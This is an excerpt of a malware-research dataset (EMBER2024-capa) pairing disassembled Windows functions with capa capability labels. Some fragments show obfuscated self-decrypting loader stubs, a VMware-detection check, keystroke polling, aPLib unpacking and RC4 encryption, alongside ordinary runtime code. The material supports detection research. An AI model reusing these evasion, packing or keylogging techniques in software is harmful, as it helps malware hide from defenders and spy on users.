joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011ad0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10011b6d
push ebx
push esi
call fcn.10011a99
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10011a2d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10011b1a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b6c
push edi
push eax
call fcn.10012a8d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10011b3a
call fcn.10010574
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10011b6b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10011a2d
add esp, 0x20
test eax, eax
jne 0x10011b59
push edi
call fcn.10010574
jmp 0x10011b61
push ebx
call fcn.10010574
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10011dda
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019888
push 0x10019880
push str.FlsAlloc
push 0x1f
call fcn.10011cf6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011e0e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
jmp 0x10011e14
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011e58
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10019898
push 0x10019890
push str.FlsGetValue
push 0x21
call fcn.10011cf6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011e8f
push dword [ebp + 8]
mov ecx, esi
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10011e97
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100198a0
push 0x10019898
push str.FlsSetValue
push 0x22
call fcn.10011cf6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011ed1
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10018150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001758d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001758d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1006542e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1006543d
pop dword [ebp - 4]
mov eax, 0x5bf38b67
add eax, 0xb412c8d6
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x70691b89
sub dword [ebp - 0x14], 0x2216d63e
mov dword [ebp - 0x10], 0xbbe8f587
add dword [ebp - 0x10], 0x764a56be
mov dword [ebp - 0xc], 0x49e832b6
add dword [ebp - 0xc], 0x2641178
mov dword [ebp - 8], 0x8aedd5c1
add dword [ebp - 8], 0x75122a3f
lea eax, [ebp - 0x14]
push eax
mov eax, 0xc6b1d98c
add eax, 0x49552780
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xac262175
add dword [ebp - 0x14], 0xc84c47e1
mov dword [ebp - 0x10], 0xde902c78
add dword [ebp - 0x10], 0x62dc34fd
mov dword [ebp - 0xc], 0xce86ecf1
sub dword [ebp - 0xc], 0x6b178085
mov dword [ebp - 8], 0x3110a736
sub dword [ebp - 8], 0x3110a736
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x23062a23
add eax, 0xed00d61d
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x67e6d
push 0
call eax
mov ecx, 0x424dd15
add ecx, 0xfbdb6ce3
mov edx, eax
mov edi, 0xed13008e
add edi, 0x22f54b72
add edi, dword [ebp - 4]
mov esi, 0x8192e221
add esi, 0x4b0b635
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 4
add edi, 0x41508eb2
add edi, 0xbeaf7152
loop 0x1006555f
add eax, 0x1e2e0790
add eax, 0xe1d31323
xor ebx, ebx
add ebx, eax
add eax, 0x5c455af9
add eax, 0xa3baa50c
mov ecx, 0xdb3582b9
sub ecx, 0xcb3582b9
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x412f30
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x228
push ebx
push ebp
mov ebp, dword [esp + 0x238]
push esi
mov eax, ebp
push edi
and eax, 0x8000000f
jns 0x412f4f
dec eax
or eax, 0xfffffff0
inc eax
jne 0x41315b
mov bl, byte [esp + 0x250]
test bl, bl
je 0x412f69
cmp bl, 1
jne 0x41315b
mov al, byte [esp + 0x24c]
cmp al, 1
je 0x412f7c
test al, al
jne 0x41315b
mov eax, dword [esp + 0x248]
test eax, eax
je 0x412fa4
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esp + 0x20], ecx
mov ecx, dword [eax + 8]
mov dword [esp + 0x24], edx
mov edx, dword [eax + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
jmp 0x412fb6
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x34]
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x248]
lea edx, [esp + 0x38]
push ecx
push edx
call fcn.004107b0
add esp, 0xc
test bl, bl
jne 0x4130a4
test ebp, ebp
jle 0x41315b
mov esi, dword [esp + 0x23c]
lea eax, [ebp + 0xf]
shr eax, 4
mov dword [esp + 0x30], eax
cmp bl, 1
jne 0x41315b
test ebp, ebp
jle 0x41315b
mov esi, dword [esp + 0x23c]
lea edi, [ebp + 0xf]
shr edi, 4
mov eax, esi
mov ecx, dword [eax]
mov dword [esp + 0x10], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x14], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x10]
mov edx, dword [eax + 0xc]
lea eax, [esp + 0x10]
mov dword [esp + 0x1c], edx
push eax
lea edx, [esp + 0x38]
push ecx
push edx
call fcn.00411e00
mov al, byte [esp + 0x258]
add esp, 0xc
cmp al, 1
jne 0x413134
xor eax, eax
mov cl, byte [esp + eax + 0x20]
mov bl, byte [esp + eax + 0x10]
xor bl, cl
mov byte [esp + eax + 0x10], bl
inc eax
cmp eax, 0x10
jl 0x413103
mov edx, esi
mov eax, dword [edx]
mov dword [esp + 0x20], eax
mov ecx, dword [edx + 4]
mov dword [esp + 0x24], ecx
mov eax, dword [edx + 8]
mov dword [esp + 0x28], eax
mov ecx, dword [edx + 0xc]
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, esi
add esi, 0x10
dec edi
mov dword [edx], eax
mov eax, dword [esp + 0x18]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x1c]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
jne 0x4130c2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x228
ret

Function at 0x4131b0
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push ebx
push esi
push edi
xor edi, edi
mov esi, 0x41ab24
push 8
push edi
call fcn.00413170
add esp, 8
mov edx, 8
shl eax, 0x18
mov dword [esi], eax
mov ebx, eax
mov ecx, ebx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
dec edx
mov ebx, eax
jne 0x4131d1
push 0x20
push eax
mov dword [esi], ebx
call fcn.00413170
mov dword [esi], eax
add esp, 8
add esi, 4
inc edi
cmp esi, 0x41af20
jle 0x4131ba
pop edi
pop esi
pop ebx
ret
Function at 0x413210
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
or eax, 0xffffffff
test edx, edx
je 0x413243
push ebx
push esi
lea esi, [edx]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x41ab24]
xor eax, edx
inc ecx
dec esi
jne 0x413223
pop esi
pop ebx
not eax
ret

Function at 0x413250
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret
Function at 0x414dc0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ff88
push 0x4157c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
jmp 0x414e35
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
and eax, 0xff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419778
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x410394
sub eax, eax
test esi, esi
je 0x419850
sub eax, 1
test ecx, ecx
je 0x41984e
test esi, 3
je 0x4197b6
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x41979b
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x419835
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x4197c0
mov ecx, edx
test ecx, ecx
je 0x41984e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x41983b
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x1584058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x15841a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x158407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x158406a
add dl, dl
jne 0x1584089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x15840dc
xor eax, eax
add dl, dl
jne 0x1584096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x158417d
add dl, dl
jne 0x15840a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15840b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15840bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15840c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x15840d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1584075
mov eax, 1
add dl, dl
jne 0x15840ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15840f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x15840e1
sub eax, ebx
mov ebx, 1
jne 0x1584128
mov ecx, 1
add dl, dl
jne 0x158410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1584119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1584105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1584075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x158413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x158414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1584136
cmp eax, 0x7d00
jae 0x158416d
cmp eax, 0x500
jb 0x1584168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1584075
cmp eax, 0x7f
ja 0x1584170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1584075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x158419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1584075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409e8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x409e9b
pop dword [ebp - 8]
mov eax, 0x409e9b
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xa1368a1c
add dword [ebp - 0x18], 0xad1bbb2f
mov dword [ebp - 0x14], 0xe61d9755
sub dword [ebp - 0x14], 0xb3ea4b10
mov dword [ebp - 0x10], 0xcb636c84
add dword [ebp - 0x10], 0x80e8d7aa
mov dword [ebp - 0xc], 0xe9ed17ef
add dword [ebp - 0xc], 0x1612e811
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xdfadce66
add dword [ebp - 0x18], 0x94c49af0
mov dword [ebp - 0x14], 0xd1c755fc
add dword [ebp - 0x14], 0x6fa50b79
mov dword [ebp - 0x10], 0x689d8c34
sub dword [ebp - 0x10], 0x52e1fc8
mov dword [ebp - 0xc], 0xafa7f129
add dword [ebp - 0xc], 0x50580ed7
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x77c1d5f5
add eax, 0x887efa57
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3a83e
push 0
call eax
mov ecx, 0x99146a59
sub ecx, 0x99141ed5
xor ebx, ebx
add ebx, eax
mov edx, 0x41b000
add edx, dword [ebp - 8]
mov edi, 0xe6ddfbae
add edi, 0x4983fd66
sub dword [ebp - 4], eax
mov esi, dword [edx]
xor dword [ebp - 4], 0xb2e0b556
add esi, edi
add dword [ebp - 4], 0xc98c095e
mov dword [ebx], esi
mov dword [ebp - 4], 0xe6f7e40b
add ebx, 4
add edx, 0x1900c2da
sub edx, 0x1900c2d6
loop 0x409faf
add eax, 0x120e3
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x410bf3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x410c02
pop dword [ebp - 0x28]
mov eax, 0x410c02
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xb742229d
add dword [ebp - 0x38], 0x971022ae
mov dword [ebp - 0x34], 0x985b0db3
sub dword [ebp - 0x34], 0x6627c16e
mov dword [ebp - 0x30], 0x1ff899e2
add dword [ebp - 0x30], 0x2c53aa4c
mov dword [ebp - 0x2c], 0x1cf71c2
add dword [ebp - 0x2c], 0xfe308e3e
lea eax, [ebp - 0x38]
push eax
mov eax, 0x66416119
sub eax, 0x65ffe0c9
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x3148c2d3
sub dword [ebp - 0x38], 0xbcd6597d
mov dword [ebp - 0x34], 0x582f3a7c
sub dword [ebp - 0x34], 0x16c2d907
mov dword [ebp - 0x30], 0x15db3cdc
sub dword [ebp - 0x30], 0xb26bd070
mov dword [ebp - 0x2c], 0xe1cf9e79
add dword [ebp - 0x2c], 0x1e306187
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3d15a
push 0
call eax
mov ecx, 0x79cb9af0
add ecx, 0x8634b3b0
xor edi, edi
add edi, eax
mov ebx, 0x40e0dca6
sub ebx, 0x409df4a6
add ebx, dword [ebp - 0x28]
mov esi, 0xb8a17bd4
add dword [ebp - 0x10], 0xc96854d3
mov edx, dword [ebx]
xor dword [ebp - 0x1c], 0xcc3198ad
xor edx, esi
sub dword [ebp - 0x1c], 0xded70a2e
mov dword [edi], edx
add dword [ebp - 0x10], 0x8214d33c
add edi, 0xc87bfc60
add edi, 0x378403a4
add ebx, 0x650fe0e6
sub ebx, 0x650fe0e2
loop 0x410d16
add eax, 0x12d53
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x405770
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46078b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004556b8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x4057f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00453607
mov eax, dword [eax]
push 0x4741c0
push eax
call fcn.00446504
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00455943
test bl, bl
je 0x4057f2
push 0x4741c0
lea ecx, [esp + 0xc]
call fcn.00455cd3
push 0x477d08
lea ecx, [esp + 0xc]
call fcn.00455cd3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40582e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00455943
jmp 0x4058f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4058b2
lea edx, [esp + 0x7c]
push 0x477d04
push edx
call fcn.00446504
add esp, 8
test eax, eax
je 0x4058b2
lea eax, [esp + 0x7c]
push 0x477d00
push eax
call fcn.00446504
add esp, 8
test eax, eax
je 0x4058b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405842
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00455943
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4060f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406152
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x406160
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46080b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x47e1c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x406298
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4061c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00455943
xor eax, eax
jmp 0x40630f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00455a80
push esi
lea ecx, [esp + 0xc]
call fcn.00455d0f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4062ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004060f0
test eax, eax
jne 0x4062ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004060f0
test eax, eax
jne 0x4062ed
lea eax, [esp + 0x14]
push 0x477d1c
push eax
call fcn.00447540
mov esi, eax
add esp, 8
test esi, esi
jne 0x4062cc
lea ecx, [esp + 0x14]
push 0x477d18
push ecx
call fcn.004474c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4062cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4062cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00455a30
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4061de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00455943
xor eax, eax
jmp 0x40630f
mov byte [esi], 0
push 0x477d14
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00455943
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x416900
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41696e
cmp si, 0x69
ja 0x41696e
add esi, 0xffd0
cmp si, 0x11
je 0x41693e
push 0x11
call edi
test ax, ax
jge 0x41693e
or esi, 0x2000
cmp si, 0x10
je 0x416953
push 0x10
call edi
test ax, ax
jge 0x416953
or esi, 0x4000
cmp si, 0x12
je 0x416968
push 0x12
call edi
test ax, ax
jge 0x416968
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41697b
mov esi, 0xbd
jmp 0x41692f
cmp si, 0x6e
jne 0x416988
mov esi, 0xbe
jmp 0x41692f
cmp si, 0x6f
jne 0x416929
mov esi, 0xbf
jmp 0x41692f

Function at 0x417fe0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x48e7f8]
xor edx, edx
cmp eax, edx
jne 0x418006
xor eax, eax
mov byte [eax + 0x48e6f8], al
inc eax
cmp eax, 0x100
jl 0x417fee
mov dword [0x48e7f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x48e6f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x418097
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41806a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x418038
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x418110
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x418163
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41814a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret